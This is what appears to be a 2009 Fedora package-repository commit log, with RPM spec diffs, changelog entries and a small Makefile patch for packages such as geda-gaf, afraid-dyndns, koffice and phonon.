%doc gattrib/design/{gEDA_Structures_updated.png,ProgramArchitecture.gnumeric}
%doc gattrib/{BUGS,ChangeLog*,NOTES,README,ToDos}
%{_bindir}/gattrib
%{_datadir}/gEDA/system-gattribrc
%{_datadir}/gEDA/gattrib-menus.xml
%{_datadir}/applications/geda-gattrib.desktop
%{_datadir}/icons/hicolor/*/apps/geda-gattrib.*


%files -n geda-gnetlist
%defattr(-,root,root,-)
%doc gnetlist/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/gEDA-gaf/gnetlist
%{_bindir}/gnetlist
%{_bindir}/mk_verilog_syms
%{_bindir}/sch2eaglepos.sh
%{_bindir}/sw2asc
%{_datadir}/gEDA/scheme/gnet*.scm
%{_datadir}/gEDA/system-gnetlistrc
%{_mandir}/man1/gnetlist.*


%files -n geda-gschem -f geda-gschem.lang
%defattr(-,root,root,-)
%doc gschem/{BUGS,ChangeLog*,TODO}
%{_bindir}/gschem
%{_bindir}/gschemdoc
%{_datadir}/gEDA/scheme/auto-place-attribs.scm
%{_datadir}/gEDA/scheme/default-attrib-positions.scm
%{_datadir}/gEDA/scheme/image.scm
%{_datadir}/gEDA/scheme/pcb.scm
%{_datadir}/gEDA/scheme/print.scm
%{_datadir}/gEDA/scheme/auto-uref.scm
%{_datadir}/gEDA/scheme/generate_netlist.scm
%{_datadir}/gEDA/scheme/gschem.scm
%{_datadir}/gEDA/scheme/list-keys.scm
%{_datadir}/gEDA/scheme/print-NB-attribs.scm
%{_datadir}/gEDA/bitmap/gschem-*
%{_datadir}/gEDA/system-gschemrc
%{_datadir}/gEDA/gschem-gtkrc
%{_datadir}/gEDA/gschem-colormap-darkbg
%{_datadir}/gEDA/gschem-colormap-lightbg
%{_datadir}/gEDA/print-colormap-darkbg
%{_datadir}/gEDA/print-colormap-lightbg
%{_datadir}/gEDA/scheme/color-map.scm
%{_datadir}/mime/application/x-geda-schematic.xml
%{_datadir}/applications/geda-gschem.desktop
%{_mandir}/man1/gschem.*
%{_datadir}/icons/hicolor/*/apps/geda-gschem.*
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-schematic.*


%files -n geda-gsymcheck
%defattr(-,root,root,-)
%doc gsymcheck/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/gEDA-gaf/gsymcheck
%{_bindir}/gsymcheck
%{_datadir}/gEDA/system-gsymcheckrc
%{_mandir}/man1/gsymcheck.*


%files -n geda-utils
%defattr(-,root,root,-)
%doc utils/{ChangeLog*,README,AUTHORS}
%doc %{_docdir}/gEDA-gaf/utils
%doc %{_docdir}/gEDA-gaf/readmes/
%{_bindir}/garchive
%{_bindir}/grenum
%{_bindir}/gmk_sym
%{_bindir}/smash_megafile
%{_bindir}/convert_sym
%{_bindir}/sarlacc_schem
%{_bindir}/sarlacc_sym
%{_bindir}/gschupdate
%{_bindir}/gsymfix.pl
%{_bindir}/pcb_backannotate
%{_bindir}/gschlas
%{_bindir}/olib
%{_bindir}/refdes_renum
%{_bindir}/gsch2pcb
%{_bindir}/pads_backannotate
%{_bindir}/tragesym
%{_bindir}/gsymupdate
%{_bindir}/gxyrs
%{_bindir}/gnet_hier_verilog.sh
%{_datadir}/gEDA/system-gschlasrc
%{_mandir}/man1/grenum.1.gz
%{_datadir}/gEDA/perl/lib/gxyrs.pm
%{_datadir}/mime/application/x-geda-gsch2pcb-project.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-gsch2pcb-project.*


%changelog
* Thu Sep 24 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-2
- Fixed most rpmlints and rpath
- Optimize desktop/icon scriptlets

* Mon Aug 31 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-1
- new development snapshot

* Sun Dec 21 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20081220-1
- new upstream release

* Tue Nov 11 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080929-1
- New upstream release

* Sat Feb 02 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080127-1
- New upstream release

* Tue Jan 22 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20071231-1
- New upstream release

* Mon Sep 03 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070902-1
- New upstream release

* Thu Aug 23 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-2
- mass rebuild for fedora 8 - ppc32

* Sat Jul 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-1
- New upstream release

* Tue Jun 27 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070626-1
- new upstream release

* Thu Jun 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070526-1
- new upstream release

* Wed Mar 28 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070216-1
- fix ownership of /usr/share/gEDA/docs -  #233792

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20061020-1
- New upstream release

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-2
- Rebuilt for FC-6 devel

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-1
- Upstream release 20060906

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-2
- Removed unauthorized file : MPEG sequence : favicon

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-1
- Upstream release 20060824

* Mon Aug 28 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060123-3
- rebuilt for FC5 and later with minor fixes



--- NEW FILE import.log ---
geda-gaf-1_5_4-2_fc11:HEAD:geda-gaf-1.5.4-2.fc11.src.rpm:1254609703


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:11:44 -0000	1.1
+++ .cvsignore	3 Oct 2009 22:43:34 -0000	1.2
@@ -0,0 +1 @@
+gEDA-gaf-1.5.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:11:45 -0000	1.1
+++ sources	3 Oct 2009 22:43:34 -0000	1.2
@@ -0,0 +1 @@
+d99006d25bb7e61cbbdcc6c775861169  gEDA-gaf-1.5.4.tar.gz



From ekkis at fedoraproject.org  Sat Oct  3 23:33:56 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Sat,  3 Oct 2009 23:33:56 +0000 (UTC)
Subject: rpms/afraid-dyndns afraid-dyndns.spec,NONE,1.1
Message-ID: <20091003233356.50B1911C00E5@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17309

Added Files:
	afraid-dyndns.spec 
Log Message:
adding to CVS as per: https://bugzilla.redhat.com/show_bug.cgi?id=522988#c36



--- NEW FILE afraid-dyndns.spec ---
Name:      afraid-dyndns
Version:   1.0
Release:   2%{?dist}
Summary:   A dynamic DNS client for the free service afraid.org
Group:     System Environment/Daemons
License:   GPLv3+
URL:       http://perl.arix.com
Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch

%description
This utility implements a client for the free afraid.org dynamic DNS
service. A cron job is set up to check whether the external IP address
has changed, and when it does, connects to afraid.org and updates the
DNS entries of all the domains of the given account.

%prep
%setup -q

%build

%install
rm -rf %{buildroot}
%{__make} DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{_bindir}/*
%config(noreplace) %{_sysconfdir}/afraid-dyndns.conf
%config(noreplace) %{_sysconfdir}/cron.d/afraid-dyndns
%dir %{_localstatedir}/cache/afraid-dyndns
%ghost %{_localstatedir}/cache/afraid-dyndns/IP

%changelog
* Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
- tarball extension changed

* Sat Sep 12 2009 Erick Calder <rpm at arix.com> - 1.0-1
- Initial build



From ekkis at fedoraproject.org  Sat Oct  3 23:49:02 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Sat,  3 Oct 2009 23:49:02 +0000 (UTC)
Subject: rpms/afraid-dyndns afraid-dyndns.spec,1.1,1.2
Message-ID: <20091003234902.AE49011C00E5@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24160

Modified Files:
	afraid-dyndns.spec 
Log Message:
- added patch to fix problem with /install -C/ in Makefile for F10 where /install/ does not support it



Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/afraid-dyndns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.spec	3 Oct 2009 23:33:55 -0000	1.1
+++ afraid-dyndns.spec	3 Oct 2009 23:48:57 -0000	1.2
@@ -1,11 +1,12 @@
 Name:      afraid-dyndns
 Version:   1.0
-Release:   2%{?dist}
+Release:   3%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
 Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
 
@@ -17,6 +18,9 @@ DNS entries of all the domains of the gi
 
 %prep
 %setup -q
+%if 0%{?fedora} <= 10
+%patch0 -p1 -b .orig
+%endif
 
 %build
 
@@ -37,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
+- added patch to fix issue with Makefile for F10
+
 * Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
 - tarball extension changed
 



From ekkis at fedoraproject.org  Sun Oct  4 00:05:20 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Sun,  4 Oct 2009 00:05:20 +0000 (UTC)
Subject: rpms/afraid-dyndns afraid-dyndns.spec,1.2,1.3
Message-ID: <20091004000520.7FC6911C00E5@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2681

Modified Files:
	afraid-dyndns.spec 
Log Message:
- fixed broken reference to patch



Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/afraid-dyndns.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- afraid-dyndns.spec	3 Oct 2009 23:48:57 -0000	1.2
+++ afraid-dyndns.spec	4 Oct 2009 00:05:18 -0000	1.3
@@ -1,6 +1,6 @@
 Name:      afraid-dyndns
 Version:   1.0
-Release:   3%{?dist}
+Release:   4%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
@@ -19,7 +19,7 @@ DNS entries of all the domains of the gi
 %prep
 %setup -q
 %if 0%{?fedora} <= 10
-%patch0 -p1 -b .orig
+%patch -p1 -b .orig
 %endif
 
 %build
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
+- fixed broken reference to patch
+
 * Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
 - added patch to fix issue with Makefile for F10
 



From ekkis at fedoraproject.org  Sun Oct  4 00:11:14 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Sun,  4 Oct 2009 00:11:14 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-10 afraid-dyndns.F10.patch, NONE,
	1.1 afraid-dyndns.spec, 1.1, 1.2 import.log, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091004001114.E11FF11C00E5@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5230/F-10

Modified Files:
	afraid-dyndns.spec import.log sources 
Added Files:
	afraid-dyndns.F10.patch 
Log Message:
- fix for F10's lack of support for /install -C/


afraid-dyndns.F10.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE afraid-dyndns.F10.patch ---
Index: Makefile
===================================================================
--- Makefile	(revision 2470)
+++ Makefile	(revision 2471)
@@ -1,6 +1,6 @@
 install:
 	install -Dpm 0755 afraid-dyndns ${DESTDIR}/usr/bin/afraid-dyndns
-	install -DCm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
-	install -DCm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
+	install -Dpm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
+	install -Dpm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
 	install -dpm 0755 ${DESTDIR}/var/cache/afraid-dyndns
 	touch ${DESTDIR}/var/cache/afraid-dyndns/IP


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/afraid-dyndns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.spec	1 Oct 2009 21:22:34 -0000	1.1
+++ afraid-dyndns.spec	4 Oct 2009 00:11:14 -0000	1.2
@@ -1,11 +1,12 @@
 Name:      afraid-dyndns
 Version:   1.0
-Release:   2%{?dist}
+Release:   4%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
 Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
 
@@ -17,6 +18,9 @@ DNS entries of all the domains of the gi
 
 %prep
 %setup -q
+%if 0%{?fedora} <= 10
+%patch -p1 -b .orig
+%endif
 
 %build
 
@@ -37,6 +41,12 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
+- fixed broken reference to patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
+- added patch to fix issue with Makefile for F10
+
 * Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
 - tarball extension changed
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	1 Oct 2009 21:22:34 -0000	1.1
+++ import.log	4 Oct 2009 00:11:14 -0000	1.2
@@ -1 +1,2 @@
 afraid-dyndns-1_0-2_fc11:F-10:afraid-dyndns-1.0-2.fc11.src.rpm:1254432143
+afraid-dyndns-1_0-4_fc11:F-10:afraid-dyndns-1.0-4.fc11.src.rpm:1254615025


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2009 21:22:34 -0000	1.2
+++ sources	4 Oct 2009 00:11:14 -0000	1.3
@@ -1 +1 @@
-b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz
+c48794e2462a09dfa2550f19413eb194  afraid-dyndns-1.0.tar.gz



From kkofler at fedoraproject.org  Sun Oct  4 00:49:54 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 00:49:54 +0000 (UTC)
Subject: rpms/mingw32-cppunit/devel mingw32-cppunit.spec,1.1,1.2
Message-ID: <20091004004955.1028611C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/mingw32-cppunit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19707/devel

Modified Files:
	mingw32-cppunit.spec 
Log Message:
* Sun Oct  4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.12.1-3
- Rebuild for MinGW debuginfo breakage


Index: mingw32-cppunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-cppunit/devel/mingw32-cppunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mingw32-cppunit.spec	1 Sep 2009 08:30:02 -0000	1.1
+++ mingw32-cppunit.spec	4 Oct 2009 00:49:54 -0000	1.2
@@ -6,7 +6,7 @@
 
 Name:           mingw32-cppunit
 Version:        1.12.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        MinGW Windows C++ unit testing framework
 
 Group:          Development/Libraries
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.12.1-3
+- Rebuild for MinGW debuginfo breakage
+
 * Mon Aug 17 2009 Nicolas Chauvet <kwizart at gmail.com> - 1.12.1-2
 - Fix BR mingw32-gcc-c++
 - Update description



From kkofler at fedoraproject.org  Sun Oct  4 00:49:55 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 00:49:55 +0000 (UTC)
Subject: rpms/mingw32-cppunit/F-12 mingw32-cppunit.spec,1.1,1.2
Message-ID: <20091004004955.6967A11C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/mingw32-cppunit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19707/F-12

Modified Files:
	mingw32-cppunit.spec 
Log Message:
* Sun Oct  4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.12.1-3
- Rebuild for MinGW debuginfo breakage


Index: mingw32-cppunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-cppunit/F-12/mingw32-cppunit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mingw32-cppunit.spec	1 Sep 2009 08:30:02 -0000	1.1
+++ mingw32-cppunit.spec	4 Oct 2009 00:49:53 -0000	1.2
@@ -6,7 +6,7 @@
 
 Name:           mingw32-cppunit
 Version:        1.12.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        MinGW Windows C++ unit testing framework
 
 Group:          Development/Libraries
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.12.1-3
+- Rebuild for MinGW debuginfo breakage
+
 * Mon Aug 17 2009 Nicolas Chauvet <kwizart at gmail.com> - 1.12.1-2
 - Fix BR mingw32-gcc-c++
 - Update description



From ekkis at fedoraproject.org  Sun Oct  4 01:14:33 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Sun,  4 Oct 2009 01:14:33 +0000 (UTC)
Subject: rpms/afraid-dyndns afraid-dyndns.spec,1.3,1.4
Message-ID: <20091004011433.5617B11C00E5@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30161

Modified Files:
	afraid-dyndns.spec 
Log Message:
fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch"



Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/afraid-dyndns.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- afraid-dyndns.spec	4 Oct 2009 00:05:18 -0000	1.3
+++ afraid-dyndns.spec	4 Oct 2009 01:14:32 -0000	1.4
@@ -1,6 +1,6 @@
 Name:      afraid-dyndns
 Version:   1.0
-Release:   4%{?dist}
+Release:   5%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
@@ -19,7 +19,7 @@ DNS entries of all the domains of the gi
 %prep
 %setup -q
 %if 0%{?fedora} <= 10
-%patch -p1 -b .orig
+%patch -p0 -b .orig
 %endif
 
 %build
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
+- fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
+
 * Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
 - fixed broken reference to patch
 



From ekkis at fedoraproject.org  Sun Oct  4 01:15:19 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Sun,  4 Oct 2009 01:15:19 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-10 afraid-dyndns.spec, 1.2, 1.3 import.log, 1.2,
	1.3
Message-ID: <20091004011519.EB99811C00E5@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30426/F-10

Modified Files:
	afraid-dyndns.spec import.log 
Log Message:
fix to application of patch



Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/afraid-dyndns.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- afraid-dyndns.spec	4 Oct 2009 00:11:14 -0000	1.2
+++ afraid-dyndns.spec	4 Oct 2009 01:15:19 -0000	1.3
@@ -1,6 +1,6 @@
 Name:      afraid-dyndns
 Version:   1.0
-Release:   4%{?dist}
+Release:   5%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
@@ -19,7 +19,7 @@ DNS entries of all the domains of the gi
 %prep
 %setup -q
 %if 0%{?fedora} <= 10
-%patch -p1 -b .orig
+%patch -p0 -b .orig
 %endif
 
 %build
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
+- fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
+
 * Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
 - fixed broken reference to patch
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	4 Oct 2009 00:11:14 -0000	1.2
+++ import.log	4 Oct 2009 01:15:19 -0000	1.3
@@ -1,2 +1,3 @@
 afraid-dyndns-1_0-2_fc11:F-10:afraid-dyndns-1.0-2.fc11.src.rpm:1254432143
 afraid-dyndns-1_0-4_fc11:F-10:afraid-dyndns-1.0-4.fc11.src.rpm:1254615025
+afraid-dyndns-1_0-5_fc11:F-10:afraid-dyndns-1.0-5.fc11.src.rpm:1254618901



From rdieter at fedoraproject.org  Sun Oct  4 02:34:31 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 02:34:31 +0000 (UTC)
Subject: rpms/koffice/devel .cvsignore, 1.34, 1.35 koffice.spec, 1.121,
	1.122 sources, 1.34, 1.35
Message-ID: <20091004023431.1C96411C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23155

Modified Files:
	.cvsignore koffice.spec sources 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.83-1
- koffice-2.0.83



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	24 Sep 2009 13:33:41 -0000	1.34
+++ .cvsignore	4 Oct 2009 02:34:30 -0000	1.35
@@ -1 +1 @@
-koffice-2.0.82.tar.bz2
+koffice-2.0.83.tar.bz2


Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- koffice.spec	26 Sep 2009 18:18:40 -0000	1.121
+++ koffice.spec	4 Oct 2009 02:34:30 -0000	1.122
@@ -11,15 +11,15 @@
 
 Name:           koffice
 Epoch:          3 
-Version:        2.0.82
-Release:        2%{?dist}
+Version:        2.0.83
+Release:        1%{?dist}
 Summary:        An integrated office suite
 
 Group:          Applications/Productivity
 # apps GPLv2+, libs LGPLv2+
 License:        GPLv2+
 URL:            http://www.koffice.org/
-Source0:        http://download.kde.org/stable/koffice-%{version}/src/koffice-%{version}.tar.bz2
+Source0:        http://download.kde.org/unstable/koffice-%{version}/src/koffice-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 #-- The following OPTIONAL packages could NOT be located on your system.
@@ -61,6 +61,7 @@ BuildRequires: libpqxx-devel
 #BuildRequires: OpenGTL-devel
 BuildRequires: OpenEXR-devel
 BuildRequires: perl
+BuildRequires: phonon-devel
 BuildRequires: poppler-qt4-devel
 BuildRequires: pstoedit
 BuildRequires: qca2-devel
@@ -291,7 +292,7 @@ pushd %{_target_platform}
   ..
 popd
 
-make %{?_smp_mflags} -C %{_target_platform} 
+make %{?_smp_mflags} -C %{_target_platform} VERBOSE=
 
 
 %install
@@ -622,7 +623,6 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_libdir}/libkdeinit4_krita.so
 %{_kde4_libdir}/libkrita*.so.*
 %{_kde4_libdir}/kde4/*krita*.*
-%{_kde4_libdir}/libkrossmodulekrita.so.*
 %{_kde4_appsdir}/krita/
 %{_kde4_datadir}/kde4/services/krita*.desktop
 %{_kde4_datadir}/kde4/servicetypes/krita*.desktop
@@ -742,7 +742,6 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_libdir}/kde4/libhtmlimport.*
 %{_kde4_libdir}/kde4/libkspreadlatexexport.*
 %{_kde4_libdir}/kde4/libkwordkword1dot3import.*
-%{_kde4_libdir}/kde4/libmswordodf_import.*
 %{_kde4_libdir}/kde4/libmswriteexport.*
 %{_kde4_libdir}/kde4/libmswriteimport.*
 %{_kde4_libdir}/kde4/liboowriterexport.*
@@ -808,6 +807,9 @@ update-desktop-database -q &> /dev/null 
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.83-1
+- koffice-2.0.83
+
 * Sat Sep 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.82-2
 - Epoch++ 
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/sources,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- sources	24 Sep 2009 13:33:41 -0000	1.34
+++ sources	4 Oct 2009 02:34:30 -0000	1.35
@@ -1 +1 @@
-25080954dd83b0d7d480b66bd89d1374  koffice-2.0.82.tar.bz2
+063e08882f01a8b5c4dbc02bad533f20  koffice-2.0.83.tar.bz2



From rdieter at fedoraproject.org  Sun Oct  4 02:38:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 02:38:14 +0000 (UTC)
Subject: rpms/phonon/F-12 phonon.spec,1.45,1.46
Message-ID: <20091004023814.8076611C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23918

Modified Files:
	phonon.spec 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
- Requires: qt4 >= 4.5.2-21



Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-12/phonon.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- phonon.spec	3 Oct 2009 15:34:43 -0000	1.45
+++ phonon.spec	4 Oct 2009 02:38:14 -0000	1.46
@@ -2,7 +2,7 @@
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 101%{?dist}
+Release: 102%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
@@ -48,14 +48,14 @@ BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.4.0
+BuildRequires: qt4-devel >= 4.5.2-21
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
 ## can switch to Requires instead of Conflicts once bootstrapping is done
-#Requires: qt4%{?_isa} >= %{_qt4_version}
-Conflicts: qt4 < 4.5.2-21
+#Conflicts: qt4 < 4.5.2-21
+Requires: qt4%{?_isa} >= 4.5.2-21 
 
 %description
 %{summary}.
@@ -202,6 +202,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
